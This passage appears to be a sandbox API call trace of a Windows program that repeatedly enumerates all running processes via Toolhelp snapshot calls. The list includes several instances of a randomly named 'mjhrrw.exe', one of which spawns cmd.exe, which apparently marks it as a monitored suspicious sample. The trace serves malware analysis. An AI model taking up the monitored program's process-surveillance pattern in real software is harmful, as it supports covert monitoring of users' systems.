dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.794] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.795] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.796] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.796] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.797] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.797] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.798] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.799] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.800] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.801] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.802] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.803] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.804] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.804] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.805] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.806] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.806] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.807] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.808] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.808] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.809] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.810] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.810] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.811] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.811] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.812] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.813] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.814] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0283.814] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0283.815] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.815] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.818] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.818] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.819] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.819] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.820] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.821] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0283.821] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0283.822] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.823] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0283.823] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.824] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.967] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0283.968] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.968] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.969] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.970] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.970] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xc28, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.971] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.972] Process32NextW (in: hSnapshot=0x304, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x530, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0283.973] CloseHandle (hObject=0x304) returned 1 [0283.974] Sleep (dwMilliseconds=0x1f4) [0286.098] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0286.127] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.128] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0286.129] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0286.130] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.131] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0286.131] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0286.132] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0286.133] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0286.134] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0286.134] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0286.135] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0286.136] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.137] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.137] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0286.138] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.139] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.140] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.141] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.141] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.142] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.145] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.146] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.147] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.147] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.148] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0286.149] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.150] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0286.151] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0286.151] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0286.152] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0286.153] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0286.154] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.154] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0286.689] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | out: lppe=0x286f640*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0286.690] Process32NextW (in: hSnapshot=0x2e0, lppe=0x286f640 | 